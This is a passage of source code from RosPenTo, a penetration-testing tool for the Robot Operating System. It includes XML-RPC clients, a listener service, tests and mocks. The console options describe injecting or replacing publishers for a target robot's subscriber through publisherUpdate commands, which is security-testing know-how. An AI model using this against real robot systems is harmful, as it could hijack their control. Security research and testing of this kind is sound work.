RESEARCH Forschungsgesellschaft mbH 5 | 6 | This program is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation; either version 3 of the License, or (at your option) any later version. 7 | 8 | This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. 9 | 10 | You should have received a copy of the GNU General Public License along with this program; if not, see . 11 | 12 | */ 13 | 14 | 15 | using CookComputing.XmlRpc; 16 | using System; 17 | using System.Collections.Generic; 18 | using System.Linq; 19 | using System.Text; 20 | using System.Threading.Tasks; 21 | 22 | namespace RosPenTo 23 | { 24 | public class XmlRpcFactory 25 | { 26 | public static IXmlRpcMasterClient GetMasterClient(Uri masterUri) 27 | { 28 | IXmlRpcMasterClient master = XmlRpcProxyGen.Create(); 29 | master.Url = masterUri.ToString(); 30 | return master; 31 | } 32 | 33 | public static IXmlRpcSlaveClient GetSlaveClient(Uri slaveUri) 34 | { 35 | IXmlRpcSlaveClient slave = XmlRpcProxyGen.Create(); 36 | slave.Url = slaveUri.ToString(); 37 | return slave; 38 | } 39 | 40 | public static IXmlRpcParameterClient GetParameterClient(Uri masterUri) 41 | { 42 | IXmlRpcParameterClient parameterServer = XmlRpcProxyGen.Create(); 43 | parameterServer.Url = masterUri.ToString(); 44 | return parameterServer; 45 | } 46 | } 47 | } 48 | -------------------------------------------------------------------------------- /RosPenTo/XmlRpcSlaveService.cs: -------------------------------------------------------------------------------- 1 | /* 2 | 3 | RosPenTo - Penetration testing tool for the Robot Operating System (ROS) 4 | Copyright (C) 2018 JOANNEUM RESEARCH Forschungsgesellschaft mbH 5 | 6 | This program is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation; either version 3 of the License, or (at your option) any later version. 7 | 8 | This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. 9 | 10 | You should have received a copy of the GNU General Public License along with this program; if not, see . 11 | 12 | */ 13 | 14 | 15 | using System; 16 | using System.IO; 17 | using System.Net; 18 | using RosPenTo.Network; 19 | 20 | using CookComputing.XmlRpc; 21 | 22 | namespace RosPenTo 23 | { 24 | 25 | public class XmlRpcSlaveService : ListenerService, IXmlRpcSlave 26 | { 27 | public string Echo(string input) 28 | { 29 | Console.WriteLine("Echo: {0}", input); 30 | return input; 31 | } 32 | 33 | public object[] PublisherUpdate(string caller_id, string topic, string[] publishers) 34 | { 35 | Console.WriteLine("PublisherUpdate received"); 36 | return null; 37 | } 38 | 39 | public object[] ParamUpdate(string caller_id, string parameter_key, object parameter_value) 40 | { 41 | Console.WriteLine("ParamUpdate received"); 42 | return null; 43 | } 44 | 45 | public object[] RequestTopic(string caller_id, string topic, object[] protocols) 46 | { 47 | Console.WriteLine("XmlRpcSlaveService: RequestTopic received from " + caller_id); 48 | return null; 49 | } 50 | 51 | public object[] GetName(string caller_id) 52 | { 53 | Console.WriteLine("XmlRpcSlaveService: GetName received"); 54 | return null; 55 | } 56 | 57 | public object[] Shutdown(string caller_id, string message) 58 | { 59 | Console.WriteLine("Shutdown received"); 60 | return null; 61 | } 62 | } 63 | 64 | //http://www.cookcomputing.com/blog/archives/000572.html 65 | 66 | public abstract class ListenerService : XmlRpcHttpServerProtocol 67 | { 68 | public virtual void ProcessRequest(HttpListenerContext RequestContext) 69 | { 70 | try 71 | { 72 | IHttpRequest req = new ListenerRequest(RequestContext.Request); 73 | IHttpResponse resp = new ListenerResponse(RequestContext.Response); 74 | HandleHttpRequest(req, resp); 75 | RequestContext.Response.OutputStream.Close(); 76 | } 77 | catch (Exception ex) 78 | { 79 | // "Internal server error" 80 | RequestContext.Response.StatusCode = 500; 81 | RequestContext.Response.StatusDescription = ex.Message; 82 | } 83 | } 84 | } 85 | 86 | public class ListenerRequest : CookComputing.XmlRpc.IHttpRequest 87 | { 88 | private HttpListenerRequest request; 89 | 90 | public ListenerRequest(HttpListenerRequest request) 91 | { 92 | this.request = request; 93 | } 94 | 95 | public Stream InputStream 96 | { 97 | get { return request.InputStream; } 98 | } 99 | 100 | public string HttpMethod 101 | { 102 | get { return request.HttpMethod; } 103 | } 104 | } 105 | 106 | public class ListenerResponse : CookComputing.XmlRpc.IHttpResponse 107 | { 108 | private HttpListenerResponse response; 109 | 110 | public ListenerResponse(HttpListenerResponse response) 111 | { 112 | this.response = response; 113 | } 114 | 115 | string IHttpResponse.ContentType 116 | { 117 | get { return response.ContentType; } 118 | set { response.ContentType = value; } 119 | } 120 | 121 | TextWriter IHttpResponse.Output 122 | { 123 | get { return new StreamWriter(response.OutputStream); } 124 | } 125 | 126 | Stream IHttpResponse.OutputStream 127 | { 128 | get { return response.OutputStream; } 129 | } 130 | 131 | int IHttpResponse.StatusCode 132 | { 133 | get { return response.StatusCode; } 134 | set { response.StatusCode = value; } 135 | } 136 | 137 | string IHttpResponse.StatusDescription 138 | { 139 | get { return response.StatusDescription; } 140 | set { response.StatusDescription = value; } 141 | } 142 | 143 | //public long ContentLength { set => response.ContentLength64 = value; } 144 | //public bool SendChunked { get => response.SendChunked; set => response.SendChunked = value; } 145 | 146 | public long ContentLength { set { response.ContentLength64 = value; } } 147 | 148 | public bool SendChunked 149 | { 150 | get 151 | { 152 | return response.SendChunked; 153 | } 154 | set 155 | { 156 | response.SendChunked = value; 157 | } 158 | } 159 | } 160 | } 161 | -------------------------------------------------------------------------------- /RosPenTo/packages.config: -------------------------------------------------------------------------------- 1 |  2 | 3 | 4 | 5 | -------------------------------------------------------------------------------- /RosPenToConsole/App.config: -------------------------------------------------------------------------------- 1 |  2 | 3 | 4 | 5 | 6 | -------------------------------------------------------------------------------- /RosPenToConsole/Options.cs: -------------------------------------------------------------------------------- 1 | /* 2 | 3 | RosPenTo - Penetration testing tool for the Robot Operating System (ROS) 4 | Copyright (C) 2018 JOANNEUM RESEARCH Forschungsgesellschaft mbH 5 | 6 | This program is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation; either version 3 of the License, or (at your option) any later version. 7 | 8 | This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. 9 | 10 | You should have received a copy of the GNU General Public License along with this program; if not, see . 11 | 12 | */ 13 | 14 | 15 | using CommandLine; 16 | using System; 17 | using System.Collections.Generic; 18 | using System.Linq; 19 | using System.Text; 20 | using System.Threading.Tasks; 21 | 22 | namespace RosPenToConsole 23 | { 24 | public class Options 25 | { 26 | [Option('t', "target", Required = true, HelpText = "ROS Master URI of the target system.")] 27 | public string TargetSystem { get; set; } 28 | 29 | [Option('p', "pentest", Required = true, HelpText = "ROS Master URI of the penetration testing system.")] 30 | public string PentestSystem { get; set; } 31 | 32 | [Option("sub", Required = true, HelpText = "Name of the affected subscriber in the target system.")] 33 | public string Subscriber { get; set; } 34 | 35 | [Option("top", Required = true, HelpText = "Name of the affected topic.")] 36 | public string Topic { get; set; } 37 | 38 | [Option("pub", Required = true, HelpText = "Name of the new publisher in the penetration testing system.")] 39 | public string Publisher { get; set; } 40 | 41 | [Option("add", DefaultValue = false, MutuallyExclusiveSet = "command", HelpText = "publisherUpdate command adds publisher to existing ones.")] 42 | public bool AddCommand { get; set; } 43 | 44 | [Option("set", DefaultValue = false, MutuallyExclusiveSet = "command", HelpText = "publisherUpdate command sets new publisher.")] 45 | public bool SetCommand { get; set; } 46 | 47 | [Option("remove", DefaultValue = false, MutuallyExclusiveSet = "command", HelpText = "publisherUpdate command removes publisher from existing ones.")] 48 | public bool RemoveCommand { get; set; } 49 | 50 | } 51 | } 52 | -------------------------------------------------------------------------------- /RosPenToConsole/Properties/AssemblyInfo.cs: -------------------------------------------------------------------------------- 1 | using System.Reflection; 2 | using System.Runtime.CompilerServices; 3 | using System.Runtime.InteropServices; 4 | 5 | // General Information about an assembly is controlled through the following 6 | // set of attributes. Change these attribute values to modify the information 7 | // associated with an assembly. 8 | [assembly: AssemblyTitle("RosPenToConsole")] 9 | [assembly: AssemblyDescription("")] 10 | [assembly: AssemblyConfiguration("")] 11 | [assembly: AssemblyCompany("")] 12 | [assembly: AssemblyProduct("RosPenToConsole")] 13 | [assembly: AssemblyCopyright("Copyright © 2017")] 14 | [assembly: AssemblyTrademark("")] 15 | [assembly: AssemblyCulture("")] 16 | 17 | // Setting ComVisible to false makes the types in this assembly not visible 18 | // to COM components. If you need to access a type in this assembly from 19 | // COM, set the ComVisible attribute to true on that type. 20 | [assembly: ComVisible(false)] 21 | 22 | // The following GUID is for the ID of the typelib if this project is exposed to COM 23 | [assembly: Guid("7311a217-a56e-4d74-9feb-809ac0178077")] 24 | 25 | // Version information for an assembly consists of the following four values: 26 | // 27 | // Major Version 28 | // Minor Version 29 | // Build Number 30 | // Revision 31 | // 32 | // You can specify all the values or you can default the Build and Revision Numbers 33 | // by using the '*' as shown below: 34 | // [assembly: AssemblyVersion("1.0.*")] 35 | [assembly: AssemblyVersion("1.0.0.0")] 36 | [assembly: AssemblyFileVersion("1.0.0.0")] 37 | -------------------------------------------------------------------------------- /RosPenToConsole/RosPenToConsole.csproj: -------------------------------------------------------------------------------- 1 |  2 | 3 | 4 | 5 | Debug 6 | AnyCPU 7 | {7311A217-A56E-4D74-9FEB-809AC0178077} 8 | Exe 9 | Properties 10 | RosPenToConsole 11 | RosPenToConsole 12 | v4.5.2 13 | 512 14 | true 15 | 16 | 17 | AnyCPU 18 | true 19 | full 20 | false 21 | bin\Debug\ 22 | DEBUG;TRACE 23 | prompt 24 | 4 25 | 26 | 27 | AnyCPU 28 | pdbonly 29 | true 30 | bin\Release\ 31 | TRACE 32 | prompt 33 | 4 34 | 35 | 36 | 37 | ..\packages\CommandLineParser.1.9.71\lib\net45\CommandLine.dll 38 | True 39 | 40 | 41 | ..\packages\xmlrpcnet-server.3.0.0.266\lib\net20\CookComputing.XmlRpcServerV2.dll 42 | 43 | 44 | ..\packages\xmlrpcnet.3.0.0.266\lib\net20\CookComputing.XmlRpcV2.dll 45 | 46 | 47 | 48 | 49 | 50 | 51 | 52 | 53 | 54 | 55 | 56 | 57 | 58 | 59 | 60 | 61 | 62 | 63 | 64 | 65 | 66 | 67 | {2b652b3c-2758-40e9-b3cc-6b33a9e867d4} 68 | RosPenTo 69 | 70 | 71 | 72 | 79 | -------------------------------------------------------------------------------- /RosPenToConsole/packages.config: -------------------------------------------------------------------------------- 1 |  2 | 3 | 4 | 5 | 6 | -------------------------------------------------------------------------------- /RosPenToTest/Properties/AssemblyInfo.cs: -------------------------------------------------------------------------------- 1 | using System.Reflection; 2 | using System.Runtime.CompilerServices; 3 | using System.Runtime.InteropServices; 4 | 5 | [assembly: AssemblyTitle("RosPenToTest")] 6 | [assembly: AssemblyDescription("")] 7 | [assembly: AssemblyConfiguration("")] 8 | [assembly: AssemblyCompany("")] 9 | [assembly: AssemblyProduct("RosPenToTest")] 10 | [assembly: AssemblyCopyright("Copyright © 2017")] 11 | [assembly: AssemblyTrademark("")] 12 | [assembly: AssemblyCulture("")] 13 | 14 | [assembly: ComVisible(false)] 15 | 16 | [assembly: Guid("6c83f3cc-e44e-4fa2-aa55-e6add9d049f2")] 17 | 18 | // [assembly: AssemblyVersion("1.0.*")] 19 | [assembly: AssemblyVersion("1.0.0.0")] 20 | [assembly: AssemblyFileVersion("1.0.0.0")] 21 | -------------------------------------------------------------------------------- /RosPenToTest/RosPenToTest.csproj: -------------------------------------------------------------------------------- 1 |  2 | 3 | 4 | 5 | Debug 6 | AnyCPU 7 | {6C83F3CC-E44E-4FA2-AA55-E6ADD9D049F2} 8 | Library 9 | Properties 10 | RosPenToTest 11 | RosPenToTest 12 | v4.5.2 13 | 512 14 | {3AC096D0-A1C2-E12C-1390-A8335801FDAB};{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC} 15 | 15.0 16 | $(MSBuildExtensionsPath32)\Microsoft\VisualStudio\v$(VisualStudioVersion) 17 | $(ProgramFiles)\Common Files\microsoft shared\VSTT\$(VisualStudioVersion)\UITestExtensionPackages 18 | False 19 | UnitTest 20 | 21 | 22 | 23 | 24 | true 25 | full 26 | false 27 | bin\Debug\ 28 | DEBUG;TRACE 29 | prompt 30 | 4 31 | 32 | 33 | pdbonly 34 | true 35 | bin\Release\ 36 | TRACE 37 | prompt 38 | 4 39 | 40 | 41 | 42 | ..\packages\xmlrpcnet.3.0.0.266\lib\net20\CookComputing.XmlRpcV2.dll 43 | True 44 | 45 | 46 | ..\packages\MSTest.TestFramework.1.1.11\lib\net45\Microsoft.VisualStudio.TestPlatform.TestFramework.dll 47 | 48 | 49 | ..\packages\MSTest.TestFramework.1.1.11\lib\net45\Microsoft.VisualStudio.TestPlatform.TestFramework.Extensions.dll 50 | 51 | 52 | 53 | 54 | 55 | 56 | 57 | 58 | 59 | 60 | 61 | 62 | 63 | 64 | 65 | {2b652b3c-2758-40e9-b3cc-6b33a9e867d4} 66 | RosPenTo 67 | 68 | 69 | 70 | 71 | 72 | 73 | 74 | 75 | 76 | Dieses Projekt verweist auf mindestens ein NuGet-Paket, das auf diesem Computer fehlt. Verwenden Sie die Wiederherstellung von NuGet-Paketen, um die fehlenden Dateien herunterzuladen. Weitere Informationen finden Sie unter "http://go.microsoft.com/fwlink/?LinkID=322105". Die fehlende Datei ist "{0}". 77 | 78 | 79 | 80 | 81 | 82 | -------------------------------------------------------------------------------- /RosPenToTest/SystemAnalyzerTest.cs: -------------------------------------------------------------------------------- 1 | /* 2 | 3 | RosPenTo - Penetration testing tool for the Robot Operating System (ROS) 4 | Copyright (C) 2018 JOANNEUM RESEARCH Forschungsgesellschaft mbH 5 | 6 | This program is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation; either version 3 of the License, or (at your option) any later version. 7 | 8 | This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. 9 | 10 | You should have received a copy of the GNU General Public License along with this program; if not, see . 11 | 12 | */ 13 | 14 | 15 | using Microsoft.VisualStudio.TestTools.UnitTesting; 16 | using RosPenTo; 17 | using System; 18 | using System.Collections.Generic; 19 | using System.Linq; 20 | using System.Text; 21 | using System.Threading.Tasks; 22 | 23 | namespace RosPenToTest 24 | { 25 | [TestClass] 26 | public class SystemAnalyzerTest 27 | { 28 | [TestMethod] 29 | public void EmptySystemStateReturnsEmptyGraph() 30 | { 31 | SystemAnalyzer a = new SystemAnalyzer(XmlRpcMasterMock.Empty, XmlRpcParameterClientMock.Empty); 32 | a.Update(); 33 | 34 | Assert.AreEqual(0, a.Nodes.Count); 35 | // Assert.IsFalse(a.Services.Any()); 36 | Assert.IsFalse(a.Topics.Any()); 37 | } 38 | 39 | [TestMethod] 40 | public void DuplicateNodesAreFiltered() 41 | { 42 | SystemAnalyzer a = new SystemAnalyzer(XmlRpcMasterMock.DuplicateNodes, XmlRpcParameterClientMock.Empty); 43 | a.Update(); 44 | 45 | Assert.IsTrue(a.Nodes.Any()); 46 | CollectionAssert.AllItemsAreUnique(a.Nodes); 47 | Assert.AreEqual(1, a.Nodes.Count); 48 | } 49 | 50 | [TestMethod] 51 | public void EveryTopicGetItsType() 52 | { 53 | SystemAnalyzer a = new SystemAnalyzer(XmlRpcMasterMock.EveryTopicHasAType, XmlRpcParameterClientMock.Empty); 54 | a.Update(); 55 | 56 | foreach (Topic t in a.Topics) 57 | Assert.AreNotEqual("unknown", t.Type); 58 | } 59 | } 60 | } 61 | -------------------------------------------------------------------------------- /RosPenToTest/UriTest.cs: -------------------------------------------------------------------------------- 1 | /* 2 | 3 | RosPenTo - Penetration testing tool for the Robot Operating System (ROS) 4 | Copyright (C) 2018 JOANNEUM RESEARCH Forschungsgesellschaft mbH 5 | 6 | This program is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation; either version 3 of the License, or (at your option) any later version. 7 | 8 | This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. 9 | 10 | You should have received a copy of the GNU General Public License along with this program; if not, see . 11 | 12 | */ 13 | 14 | 15 | using RosPenTo; 16 | using Microsoft.VisualStudio.TestTools.UnitTesting; 17 | 18 | namespace RosPenToTest 19 | { 20 | [TestClass] 21 | public class UriTest 22 | { 23 | [TestMethod] 24 | public void TestUriProtocol1() 25 | { 26 | Uri uri = new Uri("http://127.0.0.1:11311/"); 27 | Assert.AreEqual("http", uri.protocol); 28 | } 29 | 30 | [TestMethod] 31 | public void TestUriIp1() 32 | { 33 | Uri uri = new Uri("http://127.0.0.1:11311/"); 34 | Assert.AreEqual("127.0.0.1", uri.ipAdress); 35 | } 36 | 37 | [TestMethod] 38 | public void TestUriIp2() 39 | { 40 | Uri uri = new Uri("http://robv002:11311/"); 41 | Assert.AreEqual("143.224.140.66", uri.ipAdress); 42 | } 43 | 44 | [TestMethod] 45 | public void TestUriIp3() 46 | { 47 | Uri uri = new Uri("http://143.224.140.66:11311/"); 48 | Assert.AreEqual("143.224.140.66", uri.ipAdress); 49 | } 50 | 51 | [TestMethod] 52 | public void TestUriPort1() 53 | { 54 | Uri uri = new Uri("http://127.0.0.1:11311/"); 55 | Assert.AreEqual(11311, uri.port); 56 | } 57 | 58 | [TestMethod] 59 | public void TestUriPort2() 60 | { 61 | Uri uri = new Uri("http://127.0.0.1:11311"); 62 | Assert.AreEqual(11311, uri.port); 63 | } 64 | 65 | [TestMethod] 66 | public void TestUri1() 67 | { 68 | Uri uri = new Uri("http://127.0.0.1:11311"); 69 | Assert.AreEqual("http://127.0.0.1:11311/", uri.ToString); 70 | } 71 | } 72 | } 73 | -------------------------------------------------------------------------------- /RosPenToTest/XmlRpcMasterMock.cs: -------------------------------------------------------------------------------- 1 | /* 2 | 3 | RosPenTo - Penetration testing tool for the Robot Operating System (ROS) 4 | Copyright (C) 2018 JOANNEUM RESEARCH Forschungsgesellschaft mbH 5 | 6 | This program is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation; either version 3 of the License, or (at your option) any later version. 7 | 8 | This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. 9 | 10 | You should have received a copy of the GNU General Public License along with this program; if not, see . 11 | 12 | */ 13 | 14 | 15 | using RosPenTo; 16 | using System; 17 | using System.Collections.Generic; 18 | using System.Linq; 19 | using System.Text; 20 | using System.Threading.Tasks; 21 | using CookComputing.XmlRpc; 22 | using System.Net; 23 | using System.Security.Cryptography.X509Certificates; 24 | 25 | namespace RosPenToTest 26 | { 27 | class XmlRpcMasterMock : IXmlRpcMasterClient 28 | { 29 | public static XmlRpcMasterMock Empty = new XmlRpcMasterMock(new object[0], new object[0]); 30 | public static XmlRpcMasterMock DuplicateNodes = new XmlRpcMasterMock( 31 | new object[] //systemState 32 | { 33 | new object[] //publishers 34 | { 35 | new object[] { "/rosout", new string[] { "/guido"} } 36 | }, 37 | new object[] //subscribers 38 | { 39 | new object[] { "/rosin", new string[] { "/guido"} } 40 | }, 41 | new object[] //services 42 | { 43 | new object[] {} 44 | } 45 | }, 46 | new object[] //topicTypes 47 | { 48 | new object[] 49 | { 50 | "/rosout","/output" 51 | }, 52 | new object[] 53 | { 54 | "/rosin","/input" 55 | } 56 | } 57 | ); 58 | public static XmlRpcMasterMock EveryTopicHasAType = new XmlRpcMasterMock( 59 | new object[] //systemState 60 | { 61 | new object[] //publishers 62 | { 63 | new object[] { "/rosout", new string[] { "/guido", "/sebastian", "/bernhard" } } 64 | }, 65 | new object[] //subscribers 66 | { 67 | new object[] { "/rosin", new string[] { "/guido", "/benjamin", "/thomas", "/marc", "/bernhard" } } 68 | }, 69 | new object[] //services 70 | { 71 | new object[] {} 72 | } 73 | }, 74 | new object[] //topicTypes 75 | { 76 | new object[] 77 | { 78 | "/rosout","/output" 79 | }, 80 | new object[] 81 | { 82 | "/rosin","/input" 83 | } 84 | } 85 | ); 86 | 87 | private object[] _systemStateResult; 88 | private object[] _topicTypesResult; 89 | 90 | public XmlRpcMasterMock(object[] systemStateResult, object[] topicTypesResult) 91 | { 92 | _systemStateResult = systemStateResult; 93 | _topicTypesResult = topicTypesResult; 94 | } 95 | 96 | public object[] GetTopicTypes(string caller_id) 97 | { 98 | int code = 200; 99 | string statusMessage = "getTopicTypes"; 100 | return new object[] { code, statusMessage, _topicTypesResult }; 101 | } 102 | 103 | public object[] GetSystemState(string caller_id) 104 | { 105 | int code = 200; 106 | string statusMessage = "getSystemState"; 107 | return new object[] { code, statusMessage, _systemStateResult }; 108 | } 109 | 110 | public object[] LookupNode(string caller_id, string node_name) 111 | { 112 | return new object[] { 1, "uri", "http://127.0.0.1:12345/" }; 113 | } 114 | 115 | public object[] LookupService(string caller_id, string service) 116 | { 117 | throw new NotImplementedException(); 118 | } 119 | 120 | public object[] UnregisterService(string caller_id, string service, string service_api) 121 | { 122 | throw new NotImplementedException(); 123 | } 124 | 125 | #region AutoImplementedCode 126 | public bool AllowAutoRedirect 127 | { 128 | get 129 | { 130 | throw new NotImplementedException(); 131 | } 132 | 133 | set 134 | { 135 | throw new NotImplementedException(); 136 | } 137 | } 138 | 139 | public X509CertificateCollection ClientCertificates 140 | { 141 | get 142 | { 143 | throw new NotImplementedException(); 144 | } 145 | } 146 | 147 | public string ConnectionGroupName 148 | { 149 | get 150 | { 151 | throw new NotImplementedException(); 152 | } 153 | 154 | set 155 | { 156 | throw new NotImplementedException(); 157 | } 158 | } 159 | 160 | public CookieContainer CookieContainer 161 | { 162 | get 163 | { 164 | throw new NotImplementedException(); 165 | } 166 | } 167 | 168 | public ICredentials Credentials 169 | { 170 | get 171 | { 172 | throw new NotImplementedException(); 173 | } 174 | 175 | set 176 | { 177 | throw new NotImplementedException(); 178 | } 179 | } 180 | 181 | public bool EnableCompression 182 | { 183 | get 184 | { 185 | throw new NotImplementedException(); 186 | } 187 | 188 | set 189 | { 190 | throw new NotImplementedException(); 191 | } 192 | } 193 | 194 | public bool Expect100Continue 195 | { 196 | get 197 | { 198 | throw new NotImplementedException(); 199 | } 200 | 201 | set 202 | { 203 | throw new NotImplementedException(); 204 | } 205 | } 206 | 207 | public WebHeaderCollection Headers 208 | { 209 | get 210 | { 211 | throw new NotImplementedException(); 212 | } 213 | } 214 | 215 | public Guid Id 216 | { 217 | get 218 | { 219 | throw new NotImplementedException(); 220 | } 221 | } 222 | 223 | public int Indentation 224 | { 225 | get 226 | { 227 | throw new NotImplementedException(); 228 | } 229 | 230 | set 231 | { 232 | throw new NotImplementedException(); 233 | } 234 | } 235 | 236 | public bool KeepAlive 237 | { 238 | get 239 | { 240 | throw new NotImplementedException(); 241 | } 242 | 243 | set 244 | { 245 | throw new NotImplementedException(); 246 | } 247 | } 248 | 249 | public XmlRpcNonStandard NonStandard 250 | { 251 | get 252 | { 253 | throw new NotImplementedException(); 254 | } 255 | 256 | set 257 | { 258 | throw new NotImplementedException(); 259 | } 260 | } 261 | 262 | public bool PreAuthenticate 263 | { 264 | get 265 | { 266 | throw new NotImplementedException(); 267 | } 268 | 269 | set 270 | { 271 | throw new NotImplementedException(); 272 | } 273 | } 274 | 275 | public Version ProtocolVersion 276 | { 277 | get 278 | { 279 | throw new NotImplementedException(); 280 | } 281 | 282 | set 283 | { 284 | throw new NotImplementedException(); 285 | } 286 | } 287 | 288 | public IWebProxy Proxy 289 | { 290 | get 291 | { 292 | throw new NotImplementedException(); 293 | } 294 | 295 | set 296 | { 297 | throw new NotImplementedException(); 298 | } 299 | } 300 | 301 | public CookieCollection ResponseCookies 302 | { 303 | get 304 | { 305 | throw new NotImplementedException(); 306 | } 307 | } 308 | 309 | public WebHeaderCollection ResponseHeaders 310 | { 311 | get 312 | { 313 | throw new NotImplementedException(); 314 | } 315 | } 316 | 317 | public int Timeout 318 | { 319 | get 320 | { 321 | throw new NotImplementedException(); 322 | } 323 | 324 | set 325 | { 326 | throw new NotImplementedException(); 327 | } 328 | } 329 | 330 | public string Url 331 | { 332 | get 333 | { 334 | throw new NotImplementedException(); 335 | } 336 | 337 | set 338 | { 339 | throw new NotImplementedException(); 340 | } 341 | } 342 | 343 | public bool UseEmptyElementTags 344 | { 345 | get 346 | { 347 | throw new NotImplementedException(); 348 | } 349 | 350 | set 351 | { 352 | throw new NotImplementedException(); 353 | } 354 | } 355 | 356 | public bool UseEmptyParamsTag 357 | { 358 | get 359 | { 360 | throw new NotImplementedException(); 361 | } 362 | 363 | set 364 | { 365 | throw new NotImplementedException(); 366 | } 367 | } 368 | 369 | public bool UseIndentation 370 | { 371 | get 372 | { 373 | throw new NotImplementedException(); 374 | } 375 | 376 | set 377 | { 378 | throw new NotImplementedException(); 379 | } 380 | } 381 | 382 | public bool UseIntTag 383 | { 384 | get 385 | { 386 | throw new NotImplementedException(); 387 | } 388 | 389 | set 390 | { 391 | throw new NotImplementedException(); 392 | } 393 | } 394 | 395 | public bool UseNagleAlgorithm 396 | { 397 | get 398 | { 399 | throw new NotImplementedException(); 400 | } 401 | 402 | set 403 | { 404 | throw new NotImplementedException(); 405 | } 406 | } 407 | 408 | public string UserAgent 409 | { 410 | get 411 | { 412 | throw new NotImplementedException(); 413 | } 414 | 415 | set 416 | { 417 | throw new NotImplementedException(); 418 | } 419 | } 420 | 421 | public bool UseStringTag 422 | { 423 | get 424 | { 425 | throw new NotImplementedException(); 426 | } 427 | 428 | set 429 | { 430 | throw new NotImplementedException(); 431 | } 432 | } 433 | 434 | public Encoding XmlEncoding 435 | { 436 | get 437 | { 438 | throw new NotImplementedException(); 439 | } 440 | 441 | set 442 | { 443 | throw new NotImplementedException(); 444 | } 445 | } 446 | 447 | public string XmlRpcMethod 448 | { 449 | get 450 | { 451 | throw new NotImplementedException(); 452 | } 453 | 454 | set 455 | { 456 | throw new NotImplementedException(); 457 | } 458 | } 459 | 460 | public event XmlRpcRequestEventHandler RequestEvent; 461 | public event XmlRpcResponseEventHandler ResponseEvent; 462 | 463 | public void AttachLogger(XmlRpcLogger logger) 464 | { 465 | throw new NotImplementedException(); 466 | } 467 | 468 | 469 | public string[] SystemListMethods() 470 | { 471 | throw new NotImplementedException(); 472 | } 473 | 474 | public string SystemMethodHelp(string MethodName) 475 | { 476 | throw new NotImplementedException(); 477 | } 478 | 479 | public object[] SystemMethodSignature(string MethodName) 480 | { 481 | throw new NotImplementedException(); 482 | } 483 | #endregion 484 | } 485 | } 486 | -------------------------------------------------------------------------------- /RosPenToTest/XmlRpcParameterClientMock.cs: -------------------------------------------------------------------------------- 1 | /* 2 | 3 | RosPenTo - Penetration testing tool for the Robot Operating System (ROS) 4 | Copyright (C) 2018 JOANNEUM RESEARCH Forschungsgesellschaft mbH 5 | 6 | This program is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation; either version 3 of the License, or (at your option) any later version. 7 | 8 | This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. 9 | 10 | You should have received a copy of the GNU General Public License along with this program; if not, see . 11 | 12 | */ 13 | 14 | 15 | using RosPenTo; 16 | using System; 17 | using System.Collections.Generic; 18 | using System.Linq; 19 | using System.Text; 20 | using System.Threading.Tasks; 21 | using CookComputing.XmlRpc; 22 | using System.Net; 23 | using System.Security.Cryptography.X509Certificates; 24 | 25 | namespace RosPenToTest 26 | { 27 | class XmlRpcParameterClientMock : IXmlRpcParameterClient 28 | { 29 | 30 | public static XmlRpcParameterClientMock Empty = new XmlRpcParameterClientMock(); 31 | 32 | // Returns (int, str, XMLRPCLegalValue) 33 | // (code, statusMessage, parameterValue) 34 | public object[] GetParam(string caller_id, string key) 35 | { 36 | return new object[] {0, "statusMessage", null }; 37 | } 38 | 39 | // Returns (int, str, [str]) 40 | // (code, statusMessage, parameterNameList) 41 | public object[] GetParamNames(string caller_id) 42 | { 43 | return new object[] { 1, "statusMessage", new String[] { "parameterName1", "parameterName2" } }; 44 | } 45 | 46 | // Returns(int, str, XMLRPCLegalValue) 47 | // (code, statusMessage, parameterValue) 48 | public object[] SubscribeParam(string caller_id, string caller_api, string key) 49 | { 50 | return new object[] { 0, "statusMessage", null }; 51 | } 52 | 53 | // Returns(int, str, int) 54 | // (code, statusMessage, numUnsubscribed) 55 | public object[] UnsubscribeParam(string caller_id, string caller_api, string key) 56 | { 57 | return new object[] { 0, "statusMessage", 0}; 58 | } 59 | 60 | 61 | #region AutoImplementedCode 62 | public bool AllowAutoRedirect 63 | { 64 | get 65 | { 66 | throw new NotImplementedException(); 67 | } 68 | 69 | set 70 | { 71 | throw new NotImplementedException(); 72 | } 73 | } 74 | 75 | public X509CertificateCollection ClientCertificates 76 | { 77 | get 78 | { 79 | throw new NotImplementedException(); 80 | } 81 | } 82 | 83 | public string ConnectionGroupName 84 | { 85 | get 86 | { 87 | throw new NotImplementedException(); 88 | } 89 | 90 | set 91 | { 92 | throw new NotImplementedException(); 93 | } 94 | } 95 | 96 | public CookieContainer CookieContainer 97 | { 98 | get 99 | { 100 | throw new NotImplementedException(); 101 | } 102 | } 103 | 104 | public ICredentials Credentials 105 | { 106 | get 107 | { 108 | throw new NotImplementedException(); 109 | } 110 | 111 | set 112 | { 113 | throw new NotImplementedException(); 114 | } 115 | } 116 | 117 | public bool EnableCompression 118 | { 119 | get 120 | { 121 | throw new 